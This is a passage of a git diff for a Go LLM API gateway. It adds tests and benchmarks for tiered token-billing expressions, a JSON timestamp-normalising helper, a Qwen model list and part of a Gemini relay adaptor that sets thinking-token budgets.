+		t.Errorf("before group: got %f, want %f", result.ActualQuotaBeforeGroup, wantBefore)
+	}
+	if result.MatchedTier != "standard" {
+		t.Errorf("tier = %q, want %q", result.MatchedTier, "standard")
+	}
+	if result.CrossedTier {
+		t.Error("expected crossed_tier=false (same tier)")
+	}
+}
+
+func TestComputeTieredQuota_WithCacheCrossTier(t *testing.T) {
+	snap := &billingexpr.BillingSnapshot{
+		BillingMode:               "tiered_expr",
+		ExprString:                claudeWithCacheExpr,
+		ExprHash:                  billingexpr.ExprHashString(claudeWithCacheExpr),
+		GroupRatio:                2.0,
+		EstimatedPromptTokens:     100000,
+		EstimatedCompletionTokens: 5000,
+		EstimatedQuotaBeforeGroup: (100000*1.5 + 5000*7.5) / 1_000_000 * 500_000,
+		EstimatedQuotaAfterGroup:  billingexpr.QuotaRound((100000*1.5 + 5000*7.5) / 1_000_000 * 500_000 * 2.0),
+		EstimatedTier:             "standard",
+		QuotaPerUnit:              500_000,
+	}
+
+	params := billingexpr.TokenParams{P: 300000, C: 10000, CR: 50000, CC: 10000}
+	result, err := billingexpr.ComputeTieredQuota(snap, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	wantBefore := (300000*3.0 + 10000*11.25 + 50000*0.3 + 10000*3.75) / 1_000_000 * 500_000
+	wantAfter := billingexpr.QuotaRound(wantBefore * 2.0)
+	if math.Abs(result.ActualQuotaBeforeGroup-wantBefore) > 1e-6 {
+		t.Errorf("before group: got %f, want %f", result.ActualQuotaBeforeGroup, wantBefore)
+	}
+	if result.ActualQuotaAfterGroup != wantAfter {
+		t.Errorf("after group: got %d, want %d", result.ActualQuotaAfterGroup, wantAfter)
+	}
+	if !result.CrossedTier {
+		t.Error("expected crossed_tier=true (estimated standard, actual long_context)")
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Fuzz: random p/c/cache, verify non-negative result
+// ---------------------------------------------------------------------------
+
+func TestFuzz_NonNegativeResults(t *testing.T) {
+	exprs := []string{
+		claudeExpr,
+		claudeWithCacheExpr,
+		glmExpr,
+		"p * 0.5 + c * 1.0",
+		"max(p, c) * 0.1",
+		"p * 0.5 + cr * 0.1 + cc * 0.2",
+	}
+
+	rng := rand.New(rand.NewSource(42))
+
+	for _, exprStr := range exprs {
+		for i := 0; i < 500; i++ {
+			params := billingexpr.TokenParams{
+				P:    math.Round(rng.Float64() * 1000000),
+				C:    math.Round(rng.Float64() * 500000),
+				CR:   math.Round(rng.Float64() * 200000),
+				CC:   math.Round(rng.Float64() * 50000),
+				CC1h: math.Round(rng.Float64() * 10000),
+			}
+
+			cost, _, err := billingexpr.RunExpr(exprStr, params)
+			if err != nil {
+				t.Fatalf("expr=%q params=%+v: %v", exprStr, params, err)
+			}
+			if cost < 0 {
+				t.Errorf("expr=%q params=%+v: negative cost %f", exprStr, params, cost)
+			}
+		}
+	}
+}
+
+func TestFuzz_SettlementConsistency(t *testing.T) {
+	rng := rand.New(rand.NewSource(99))
+
+	for i := 0; i < 200; i++ {
+		estParams := billingexpr.TokenParams{
+			P:  math.Round(rng.Float64() * 500000),
+			C:  math.Round(rng.Float64() * 100000),
+			CR: math.Round(rng.Float64() * 100000),
+			CC: math.Round(rng.Float64() * 30000),
+		}
+		actParams := billingexpr.TokenParams{
+			P:  math.Round(rng.Float64() * 500000),
+			C:  math.Round(rng.Float64() * 100000),
+			CR: math.Round(rng.Float64() * 100000),
+			CC: math.Round(rng.Float64() * 30000),
+		}
+		groupRatio := 0.5 + rng.Float64()*2.0
+
+		estCost, estTrace, _ := billingexpr.RunExpr(claudeWithCacheExpr, estParams)
+
+		const qpu = 500_000.0
+		snap := &billingexpr.BillingSnapshot{
+			BillingMode:               "tiered_expr",
+			ExprString:                claudeWithCacheExpr,
+			ExprHash:                  billingexpr.ExprHashString(claudeWithCacheExpr),
+			GroupRatio:                groupRatio,
+			EstimatedPromptTokens:     int(estParams.P),
+			EstimatedCompletionTokens: int(estParams.C),
+			EstimatedQuotaBeforeGroup: estCost / 1_000_000 * qpu,
+			EstimatedQuotaAfterGroup:  billingexpr.QuotaRound(estCost / 1_000_000 * qpu * groupRatio),
+			EstimatedTier:             estTrace.MatchedTier,
+			QuotaPerUnit:              qpu,
+		}
+
+		result, err := billingexpr.ComputeTieredQuota(snap, actParams)
+		if err != nil {
+			t.Fatalf("iter %d: %v", i, err)
+		}
+
+		directCost, _, _ := billingexpr.RunExpr(claudeWithCacheExpr, actParams)
+		directQuota := billingexpr.QuotaRound(directCost / 1_000_000 * qpu * groupRatio)
+
+		if result.ActualQuotaAfterGroup != directQuota {
+			t.Errorf("iter %d: settlement %d != direct %d", i, result.ActualQuotaAfterGroup, directQuota)
+		}
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Settlement-level tests for ComputeTieredQuota
+// ---------------------------------------------------------------------------
+
+func TestComputeTieredQuota_BasicSettlement(t *testing.T) {
+	exprStr := `tier("default", p + c)`
+	snap := &billingexpr.BillingSnapshot{
+		BillingMode:  "tiered_expr",
+		ExprString:   exprStr,
+		ExprHash:     billingexpr.ExprHashString(exprStr),
+		GroupRatio:   1.0,
+		QuotaPerUnit: 500_000,
+	}
+
+	result, err := billingexpr.ComputeTieredQuota(snap, billingexpr.TokenParams{P: 3000, C: 2000})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// exprOutput = 5000; quota = 5000 / 1M * 500K = 2500
+	if math.Abs(result.ActualQuotaBeforeGroup-2500) > 1e-6 {
+		t.Errorf("before group = %f, want 2500", result.ActualQuotaBeforeGroup)
+	}
+	if result.ActualQuotaAfterGroup != 2500 {
+		t.Errorf("after group = %d, want 2500", result.ActualQuotaAfterGroup)
+	}
+	if result.MatchedTier != "default" {
+		t.Errorf("tier = %q, want default", result.MatchedTier)
+	}
+}
+
+func TestComputeTieredQuota_WithGroupRatio(t *testing.T) {
+	exprStr := `tier("default", p + c)`
+	snap := &billingexpr.BillingSnapshot{
+		BillingMode:  "tiered_expr",
+		ExprString:   exprStr,
+		ExprHash:     billingexpr.ExprHashString(exprStr),
+		GroupRatio:   2.0,
+		QuotaPerUnit: 500_000,
+	}
+
+	result, err := billingexpr.ComputeTieredQuota(snap, billingexpr.TokenParams{P: 1000, C: 500})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// exprOutput = 1500; quotaBeforeGroup = 750; afterGroup = round(750 * 2.0) = 1500
+	if result.ActualQuotaAfterGroup != 1500 {
+		t.Errorf("after group = %d, want 1500", result.ActualQuotaAfterGroup)
+	}
+}
+
+func TestComputeTieredQuota_ZeroTokens(t *testing.T) {
+	exprStr := `tier("default", p * 2 + c * 10)`
+	snap := &billingexpr.BillingSnapshot{
+		BillingMode:  "tiered_expr",
+		ExprString:   exprStr,
+		ExprHash:     billingexpr.ExprHashString(exprStr),
+		GroupRatio:   1.0,
+		QuotaPerUnit: 500_000,
+	}
+
+	result, err := billingexpr.ComputeTieredQuota(snap, billingexpr.TokenParams{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.ActualQuotaAfterGroup != 0 {
+		t.Errorf("after group = %d, want 0", result.ActualQuotaAfterGroup)
+	}
+}
+
+func TestComputeTieredQuota_RoundingEdge(t *testing.T) {
+	exprStr := `tier("default", p * 0.5)` // 3 * 0.5 = 1.5 (expr); 1.5 / 1M * 500K = 0.75; round(0.75) = 1
+	snap := &billingexpr.BillingSnapshot{
+		BillingMode:  "tiered_expr",
+		ExprString:   exprStr,
+		ExprHash:     billingexpr.ExprHashString(exprStr),
+		GroupRatio:   1.0,
+		QuotaPerUnit: 500_000,
+	}
+
+	result, err := billingexpr.ComputeTieredQuota(snap, billingexpr.TokenParams{P: 3})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// 3 * 0.5 = 1.5 (expr); quota = 1.5 / 1M * 500K = 0.75; round(0.75) = 1
+	if result.ActualQuotaAfterGroup != 1 {
+		t.Errorf("after group = %d, want 1 (round 0.75 up)", result.ActualQuotaAfterGroup)
+	}
+}
+
+func TestComputeTieredQuota_RoundingEdgeDown(t *testing.T) {
+	exprStr := `tier("default", p * 0.4)` // 3 * 0.4 = 1.2 (expr); 1.2 / 1M * 500K = 0.6; round(0.6) = 1
+	snap := &billingexpr.BillingSnapshot{
+		BillingMode:  "tiered_expr",
+		ExprString:   exprStr,
+		ExprHash:     billingexpr.ExprHashString(exprStr),
+		GroupRatio:   1.0,
+		QuotaPerUnit: 500_000,
+	}
+
+	result, err := billingexpr.ComputeTieredQuota(snap, billingexpr.TokenParams{P: 3})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// 3 * 0.4 = 1.2 (expr); quota = 1.2 / 1M * 500K = 0.6; round(0.6) = 1
+	if result.ActualQuotaAfterGroup != 1 {
+		t.Errorf("after group = %d, want 1 (round 0.6 up)", result.ActualQuotaAfterGroup)
+	}
+}
+
+func TestComputeTieredQuotaWithRequest_ProbeAffectsQuota(t *testing.T) {
+	exprStr := `param("fast") == true ? tier("fast", p * 4) : tier("normal", p * 2)`
+	snap := &billingexpr.BillingSnapshot{
+		BillingMode:   "tiered_expr",
+		ExprString:    exprStr,
+		ExprHash:      billingexpr.ExprHashString(exprStr),
+		GroupRatio:    1.0,
+		EstimatedTier: "normal",
+		QuotaPerUnit:  500_000,
+	}
+
+	// Without request: normal tier
+	r1, err := billingexpr.ComputeTieredQuota(snap, billingexpr.TokenParams{P: 1000})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// normal: p*2 = 2000; quota = 2000 / 1M * 500K = 1000
+	if r1.ActualQuotaAfterGroup != 1000 {
+		t.Errorf("normal = %d, want 1000", r1.ActualQuotaAfterGroup)
+	}
+
+	// With request: fast tier
+	r2, err := billingexpr.ComputeTieredQuotaWithRequest(snap, billingexpr.TokenParams{P: 1000}, billingexpr.RequestInput{
+		Body: []byte(`{"fast":true}`),
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// fast: p*4 = 4000; quota = 4000 / 1M * 500K = 2000
+	if r2.ActualQuotaAfterGroup != 2000 {
+		t.Errorf("fast = %d, want 2000", r2.ActualQuotaAfterGroup)
+	}
+	if !r2.CrossedTier {
+		t.Error("expected CrossedTier = true when probe changes tier")
+	}
+}
+
+func TestComputeTieredQuota_BoundaryTierCrossing(t *testing.T) {
+	exprStr := `p <= 100000 ? tier("small", p * 1) : tier("large", p * 2)`
+	snap := &billingexpr.BillingSnapshot{
+		BillingMode:   "tiered_expr",
+		ExprString:    exprStr,
+		ExprHash:      billingexpr.ExprHashString(exprStr),
+		GroupRatio:    1.0,
+		EstimatedTier: "small",
+		QuotaPerUnit:  500_000,
+	}
+
+	// At boundary: small, p*1 = 100000; quota = 100000 / 1M * 500K = 50000
+	r1, err := billingexpr.ComputeTieredQuota(snap, billingexpr.TokenParams{P: 100000})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if r1.MatchedTier != "small" {
+		t.Errorf("at boundary: tier = %s, want small", r1.MatchedTier)
+	}
+	if r1.ActualQuotaAfterGroup != 50000 {
+		t.Errorf("at boundary: quota = %d, want 50000", r1.ActualQuotaAfterGroup)
+	}
+
+	// Past boundary: large, p*2 = 200002; quota = 200002 / 1M * 500K = 100001
+	r2, err := billingexpr.ComputeTieredQuota(snap, billingexpr.TokenParams{P: 100001})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if r2.MatchedTier != "large" {
+		t.Errorf("past boundary: tier = %s, want large", r2.MatchedTier)
+	}
+	if r2.ActualQuotaAfterGroup != 100001 {
+		t.Errorf("past boundary: quota = %d, want 100001", r2.ActualQuotaAfterGroup)
+	}
+	if !r2.CrossedTier {
+		t.Error("expected CrossedTier = true")
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Time function tests
+// ---------------------------------------------------------------------------
+
+func TestTimeFunctions_ValidTimezone(t *testing.T) {
+	exprStr := `tier("default", p) * (hour("UTC") >= 0 ? 1 : 1)`
+	cost, _, err := billingexpr.RunExpr(exprStr, billingexpr.TokenParams{P: 100})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if cost != 100 {
+		t.Errorf("cost = %f, want 100", cost)
+	}
+}
+
+func TestTimeFunctions_AllFunctionsCompile(t *testing.T) {
+	exprStr := `tier("default", p) * (hour("Asia/Shanghai") >= 0 ? 1 : 1) * (minute("UTC") >= 0 ? 1 : 1) * (weekday("UTC") >= 0 ? 1 : 1) * (month("UTC") >= 1 ? 1 : 1) * (day("UTC") >= 1 ? 1 : 1)`
+	cost, _, err := billingexpr.RunExpr(exprStr, billingexpr.TokenParams{P: 500})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if cost != 500 {
+		t.Errorf("cost = %f, want 500", cost)
+	}
+}
+
+func TestTimeFunctions_InvalidTimezone(t *testing.T) {
+	exprStr := `tier("default", p) * (hour("Invalid/Zone") >= 0 ? 1 : 2)`
+	cost, _, err := billingexpr.RunExpr(exprStr, billingexpr.TokenParams{P: 100})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// Invalid timezone falls back to UTC; hour is 0-23, so condition is always true
+	if cost != 100 {
+		t.Errorf("cost = %f, want 100 (fallback to UTC)", cost)
+	}
+}
+
+func TestTimeFunctions_EmptyTimezone(t *testing.T) {
+	exprStr := `tier("default", p) * (hour("") >= 0 ? 1 : 2)`
+	cost, _, err := billingexpr.RunExpr(exprStr, billingexpr.TokenParams{P: 100})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if cost != 100 {
+		t.Errorf("cost = %f, want 100 (empty tz -> UTC)", cost)
+	}
+}
+
+func TestTimeFunctions_NightDiscountPattern(t *testing.T) {
+	exprStr := `tier("default", p * 2 + c * 10) * (hour("UTC") >= 21 || hour("UTC") < 6 ? 0.5 : 1)`
+	cost, _, err := billingexpr.RunExpr(exprStr, billingexpr.TokenParams{P: 1000, C: 500})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// Base = 1000*2 + 500*10 = 7000; multiplier is either 0.5 or 1 depending on current UTC hour
+	if cost != 7000 && cost != 3500 {
+		t.Errorf("cost = %f, want 7000 or 3500", cost)
+	}
+}
+
+func TestTimeFunctions_WeekdayRange(t *testing.T) {
+	exprStr := `tier("default", p) * (weekday("UTC") >= 0 && weekday("UTC") <= 6 ? 1 : 999)`
+	cost, _, err := billingexpr.RunExpr(exprStr, billingexpr.TokenParams{P: 100})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// weekday is always 0-6, so multiplier is always 1
+	if cost != 100 {
+		t.Errorf("cost = %f, want 100", cost)
+	}
+}
+
+func TestTimeFunctions_MonthDayPattern(t *testing.T) {
+	exprStr := `tier("default", p) * (month("Asia/Shanghai") == 1 && day("Asia/Shanghai") == 1 ? 0.5 : 1)`
+	cost, _, err := billingexpr.RunExpr(exprStr, billingexpr.TokenParams{P: 1000})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// Either 1000 (not Jan 1) or 500 (Jan 1) — both are valid
+	if cost != 1000 && cost != 500 {
+		t.Errorf("cost = %f, want 1000 or 500", cost)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Image and audio token tests
+// ---------------------------------------------------------------------------
+
+func TestImageTokenVariable(t *testing.T) {
+	exprStr := `tier("base", p * 2 + c * 10 + img * 5)`
+	cost, _, err := billingexpr.RunExpr(exprStr, billingexpr.TokenParams{P: 1000, C: 500, Img: 200})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// 1000*2 + 500*10 + 200*5 = 2000 + 5000 + 1000 = 8000
+	if math.Abs(cost-8000) > 1e-6 {
+		t.Errorf("cost = %f, want 8000", cost)
+	}
+}
+
+func TestAudioTokenVariables(t *testing.T) {
+	exprStr := `tier("base", p * 2 + c * 10 + ai * 50 + ao * 100)`
+	cost, _, err := billingexpr.RunExpr(exprStr, billingexpr.TokenParams{P: 1000, C: 500, AI: 100, AO: 50})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// 1000*2 + 500*10 + 100*50 + 50*100 = 2000 + 5000 + 5000 + 5000 = 17000
+	if math.Abs(cost-17000) > 1e-6 {
+		t.Errorf("cost = %f, want 17000", cost)
+	}
+}
+
+func TestImageAudioVariables(t *testing.T) {
+	exprStr := `tier("base", p * 1 + img * 3 + ai * 5 + ao * 10)`
+	cost, _, err := billingexpr.RunExpr(exprStr, billingexpr.TokenParams{P: 100, Img: 50, AI: 20, AO: 10})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// 100*1 + 50*3 + 20*5 + 10*10 = 100 + 150 + 100 + 100 = 450
+	if math.Abs(cost-450) > 1e-6 {
+		t.Errorf("cost = %f, want 450", cost)
+	}
+}
+
+func TestImageAudioZero(t *testing.T) {
+	exprStr := `tier("base", p * 2 + img * 5 + ai * 50 + ao * 100)`
+	cost, _, err := billingexpr.RunExpr(exprStr, billingexpr.TokenParams{P: 1000})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// img, ai, ao default to 0
+	if math.Abs(cost-2000) > 1e-6 {
+		t.Errorf("cost = %f, want 2000", cost)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// len variable tests — tier conditions based on context length
+// ---------------------------------------------------------------------------
+
+const lenTieredExpr = `len <= 200000 ? tier("standard", p * 3 + c * 15 + cr * 0.3) : tier("long_context", p * 6 + c * 22.5 + cr * 0.6)`
+
+func TestLen_StandardTier(t *testing.T) {
+	params := billingexpr.TokenParams{P: 80000, C: 5000, Len: 100000, CR: 20000}
+	cost, trace, err := billingexpr.RunExpr(lenTieredExpr, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 80000*3 + 5000*15 + 20000*0.3
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+	if trace.MatchedTier != "standard" {
+		t.Errorf("tier = %q, want standard", trace.MatchedTier)
+	}
+}
+
+func TestLen_LongContextTier(t *testing.T) {
+	// p is low (cache subtracted), but len is high (full context)
+	params := billingexpr.TokenParams{P: 50000, C: 5000, Len: 300000, CR: 250000}
+	cost, trace, err := billingexpr.RunExpr(lenTieredExpr, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want := 50000*6 + 5000*22.5 + 250000*0.6
+	if math.Abs(cost-want) > 1e-6 {
+		t.Errorf("cost = %f, want %f", cost, want)
+	}
+	if trace.MatchedTier != "long_context" {
+		t.Errorf("tier = %q, want long_context (len=300000 > 200000)", trace.MatchedTier)
+	}
+}
+
+func TestLen_BoundaryExact(t *testing.T) {
+	params := billingexpr.TokenParams{P: 100000, C: 1000, Len: 200000, CR: 100000}
+	_, trace, err := billingexpr.RunExpr(lenTieredExpr, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if trace.MatchedTier != "standard" {
+		t.Errorf("tier = %q, want standard (len=200000 <= 200000)", trace.MatchedTier)
+	}
+}
+
+func TestLen_BoundaryPlusOne(t *testing.T) {
+	params := billingexpr.TokenParams{P: 100000, C: 1000, Len: 200001, CR: 100001}
+	_, trace, err := billingexpr.RunExpr(lenTieredExpr, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if trace.MatchedTier != "long_context" {
+		t.Errorf("tier = %q, want long_context (len=200001 > 200000)", trace.MatchedTier)
+	}
+}
+
+func TestLen_ZeroDefaultsToZero(t *testing.T) {
+	// len defaults to 0 when not set
+	params := billingexpr.TokenParams{P: 1000, C: 500}
+	_, trace, err := billingexpr.RunExpr(lenTieredExpr, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if trace.MatchedTier != "standard" {
+		t.Errorf("tier = %q, want standard (len=0 <= 200000)", trace.MatchedTier)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Benchmarks: compile vs cached execution
+// ---------------------------------------------------------------------------
+
+const benchComplexExpr = `len <= 200000 ? tier("standard", p * 3 + c * 15 + cr * 0.3 + cc * 3.75 + cc1h * 6 + img * 3 + img_o * 30 + ai * 10 + ao * 40) : tier("long_context", p * 6 + c * 22.5 + cr * 0.6 + cc * 7.5 + cc1h * 12 + img * 6 + img_o * 60 + ai * 20 + ao * 80)`
+
+func BenchmarkExprCompile(b *testing.B) {
+	for i := 0; i < b.N; i++ {
+		billingexpr.InvalidateCache()
+		billingexpr.CompileFromCache(benchComplexExpr)
+	}
+}
+
+func BenchmarkExprRunCached(b *testing.B) {
+	billingexpr.CompileFromCache(benchComplexExpr)
+	params := billingexpr.TokenParams{P: 150000, C: 10000, Len: 188000, CR: 30000, CC: 5000, Img: 2000, AI: 1000, AO: 500}
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		billingexpr.RunExpr(benchComplexExpr, params)
+	}
+}
diff --git a/_all-in-one-upload/new-api/pkg/ionet/jsonutil.go b/_all-in-one-upload/new-api/pkg/ionet/jsonutil.go
new file mode 100644
index 0000000..0b3219c
--- /dev/null
+++ b/_all-in-one-upload/new-api/pkg/ionet/jsonutil.go
@@ -0,0 +1,96 @@
+package ionet
+
+import (
+	"encoding/json"
+	"strings"
+	"time"
+
+	"github.com/samber/lo"
+)
+
+// decodeWithFlexibleTimes unmarshals API responses while tolerating timestamp strings
+// that omit timezone information by normalizing them to RFC3339Nano.
+func decodeWithFlexibleTimes(data []byte, target interface{}) error {
+	var intermediate interface{}
+	if err := json.Unmarshal(data, &intermediate); err != nil {
+		return err
+	}
+
+	normalized := normalizeTimeValues(intermediate)
+	reencoded, err := json.Marshal(normalized)
+	if err != nil {
+		return err
+	}
+
+	return json.Unmarshal(reencoded, target)
+}
+
+func decodeData[T any](data []byte, target *T) error {
+	var wrapper struct {
+		Data T `json:"data"`
+	}
+	if err := json.Unmarshal(data, &wrapper); err != nil {
+		return err
+	}
+	*target = wrapper.Data
+	return nil
+}
+
+func decodeDataWithFlexibleTimes[T any](data []byte, target *T) error {
+	var wrapper struct {
+		Data T `json:"data"`
+	}
+	if err := decodeWithFlexibleTimes(data, &wrapper); err != nil {
+		return err
+	}
+	*target = wrapper.Data
+	return nil
+}
+
+func normalizeTimeValues(value interface{}) interface{} {
+	switch v := value.(type) {
+	case map[string]interface{}:
+		return lo.MapValues(v, func(val interface{}, _ string) interface{} {
+			return normalizeTimeValues(val)
+		})
+	case []interface{}:
+		return lo.Map(v, func(item interface{}, _ int) interface{} {
+			return normalizeTimeValues(item)
+		})
+	case string:
+		if normalized, changed := normalizeTimeString(v); changed {
+			return normalized
+		}
+		return v
+	default:
+		return value
+	}
+}
+
+func normalizeTimeString(input string) (string, bool) {
+	trimmed := strings.TrimSpace(input)
+	if trimmed == "" {
+		return input, false
+	}
+
+	if _, err := time.Parse(time.RFC3339Nano, trimmed); err == nil {
+		return trimmed, trimmed != input
+	}
+	if _, err := time.Parse(time.RFC3339, trimmed); err == nil {
+		return trimmed, trimmed != input
+	}
+
+	layouts := []string{
+		"2006-01-02T15:04:05.999999999",
+		"2006-01-02T15:04:05.999999",
+		"2006-01-02T15:04:05",
+	}
+
+	for _, layout := range layouts {
+		if parsed, err := time.Parse(layout, trimmed); err == nil {
+			return parsed.UTC().Format(time.RFC3339Nano), true
+		}
+	}
+
+	return input, false
+}
diff --git a/_all-in-one-upload/new-api/relay/channel/ali/constants.go b/_all-in-one-upload/new-api/relay/channel/ali/constants.go
new file mode 100644
index 0000000..df64439
--- /dev/null
+++ b/_all-in-one-upload/new-api/relay/channel/ali/constants.go
@@ -0,0 +1,14 @@
+package ali
+
+var ModelList = []string{
+	"qwen-turbo",
+	"qwen-plus",
+	"qwen-max",
+	"qwen-max-longcontext",
+	"qwq-32b",
+	"qwen3-235b-a22b",
+	"text-embedding-v1",
+	"gte-rerank-v2",
+}
+
+var ChannelName = "ali"
diff --git a/_all-in-one-upload/new-api/relay/channel/gemini/relay-gemini.go b/_all-in-one-upload/new-api/relay/channel/gemini/relay-gemini.go
new file mode 100644
index 0000000..355c75d
--- /dev/null
+++ b/_all-in-one-upload/new-api/relay/channel/gemini/relay-gemini.go
@@ -0,0 +1,1725 @@
+package gemini
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"strconv"
+	"strings"
+	"time"
+	"unicode/utf8"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/relay/channel/openai"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/relay/helper"
+	"github.com/QuantumNous/new-api/service"
+	"github.com/QuantumNous/new-api/setting/model_setting"
+	"github.com/QuantumNous/new-api/setting/reasoning"
+	"github.com/QuantumNous/new-api/types"
+	"github.com/gin-gonic/gin"
+	"github.com/samber/lo"
+)
+
+// https://cloud.google.com/vertex-ai/generative-ai/docs/model-reference/inference?hl=zh-cn#blob
+var geminiSupportedMimeTypes = map[string]bool{
+	"application/pdf": true,
+	"audio/mpeg":      true,
+	"audio/mp3":       true,
+	"audio/wav":       true,
+	"image/png":       true,
+	"image/jpeg":      true,
+	"image/jpg":       true, // support old image/jpeg
+	"image/webp":      true,
+	"image/heic":      true,
+	"image/heif":      true,
+	"text/plain":      true,
+	"video/mov":       true,
+	"video/mpeg":      true,
+	"video/mp4":       true,
+	"video/mpg":       true,
+	"video/avi":       true,
+	"video/wmv":       true,
+	"video/mpegps":    true,
+	"video/flv":       true,
+}
+
+const thoughtSignatureBypassValue = "context_engineering_is_the_way_to_go"
+
+// Gemini 允许的思考预算范围
+const (
+	pro25MinBudget       = 128
+	pro25MaxBudget       = 32768
+	flash25MaxBudget     = 24576
+	flash25LiteMinBudget = 512
+	flash25LiteMaxBudget = 24576
+)
+
+func isNew25ProModel(modelName string) bool {
+	return strings.HasPrefix(modelName, "gemini-2.5-pro") &&
+		!strings.HasPrefix(modelName, "gemini-2.5-pro-preview-05-06") &&
+		!strings.HasPrefix(modelName, "gemini-2.5-pro-preview-03-25")
+}
+
+func is25FlashLiteModel(modelName string) bool {
+	return strings.HasPrefix(modelName, "gemini-2.5-flash-lite")
+}
+
+// clampThinkingBudget 根据模型名称将预算限制在允许的范围内
+func clampThinkingBudget(modelName string, budget int) int {
+	isNew25Pro := isNew25ProModel(modelName)
+	is25FlashLite := is25FlashLiteModel(modelName)
+
+	if is25FlashLite {
+		if budget < flash25LiteMinBudget {
+			return flash25LiteMinBudget
+		}
+		if budget > flash25LiteMaxBudget {
+			return flash25LiteMaxBudget
+		}
+	} else if isNew25Pro {
+		if budget < pro25MinBudget {
+			return pro25MinBudget
+		}
+		if budget > pro25MaxBudget {
+			return pro25MaxBudget
+		}
+	} else { // 其他模型
+		if budget < 0 {
+			return 0
+		}
+		if budget > flash25MaxBudget {
+			return flash25MaxBudget
+		}
+	}
+	return budget
+}
+
+// "effort": "high" - Allocates a large portion of tokens for reasoning (approximately 80% of max_tokens)
+// "effort": "medium" - Allocates a moderate portion of tokens (approximately 50% of max_tokens)
+// "effort": "low" - Allocates a smaller portion of tokens (approximately 20% of max_tokens)
+// "effort": "minimal" - Allocates a minimal portion of tokens (approximately 5% of max_tokens)
+func clampThinkingBudgetByEffort(modelName string, effort string) int {
+	isNew25Pro := isNew25ProModel(modelName)
+	is25FlashLite := is25FlashLiteModel(modelName)
+
+	maxBudget := 0
+	if is25FlashLite {
+		maxBudget = flash25LiteMaxBudget
+	}
+	if isNew25Pro {
+		maxBudget = pro25MaxBudget
+	} else {
+		maxBudget = flash25MaxBudget
+	}
+	switch effort {
+	case "high":
+		maxBudget = maxBudget * 80 / 100
+	case "medium":
+		maxBudget = maxBudget * 50 / 100
+	case "low":
+		maxBudget = maxBudget * 20 / 100
+	case "minimal":
+		maxBudget = maxBudget * 5 / 100
+	}
+	return clampThinkingBudget(modelName, maxBudget)
+}
+
+func ThinkingAdaptor(geminiRequest *dto.GeminiChatRequest, info *relaycommon.RelayInfo, oaiRequest ...dto.GeneralOpenAIRequest) {
+	if model_setting.GetGeminiSettings().ThinkingAdapterEnabled {
+		modelName := info.UpstreamModelName
+		isNew25Pro := strings.HasPrefix(modelName, "gemini-2.5-pro") &&
+			!strings.HasPrefix(modelName, "gemini-2.5-pro-preview-05-06") &&
+			!strings.HasPrefix(modelName, "gemini-2.5-pro-preview-03-25")
+
+		if strings.Contains(modelName, "-thinking-") {
+			parts := strings.SplitN(modelName, "-thinking-", 2)
+			if len(parts) == 2 && parts[1] != "" {
+				if budgetTokens, err := strconv.Atoi(parts[1]); err == nil {
+					clampedBudget := clampThinkingBudget(modelName, budgetTokens)
+					geminiRequest.GenerationConfig.ThinkingConfig = &dto.GeminiThinkingConfig{
+						ThinkingBudget:  common.GetPointer(clampedBudget),
+						IncludeThoughts: true,
+					}
+				}
+			}
+		} else if strings.HasSuffix(modelName, "-thinking") {
+			unsupportedModels := []string{
+				"gemini-2.5-pro-preview-05-06",
+				"gemini-2.5-pro-preview-03-25",
+			}
+			isUnsupported := false
+			for _, unsupportedModel := range unsupportedModels {
+				if strings.HasPrefix(modelName, unsupportedModel) {
+					isUnsupported = true
+					break
+				}
+			}
+
+			if isUnsupported {
+				geminiRequest.GenerationConfig.ThinkingConfig = &dto.GeminiThinkingConfig{
+					IncludeThoughts: true,
+				}
+			} else {
+				geminiRequest.GenerationConfig.ThinkingConfig = &dto.GeminiThinkingConfig{
+					IncludeThoughts: true,
+				}
+				if geminiRequest.GenerationConfig.MaxOutputTokens != nil && *geminiRequest.GenerationConfig.MaxOutputTokens > 0 {
+					budgetTokens := model_setting.GetGeminiSettings().ThinkingAdapterBudgetTokensPercentage * float64(*geminiRequest.GenerationConfig.MaxOutputTokens)
+					clampedBudget := clampThinkingBudget(modelName, int(budgetTokens))
+					geminiRequest.GenerationConfig.ThinkingConfig.ThinkingBudget = common.GetPointer(clampedBudget)
+				} else {
+					if len(oaiRequest) > 0 {
+						// 如果有reasoningEffort参数，则根据其值设置思考预算
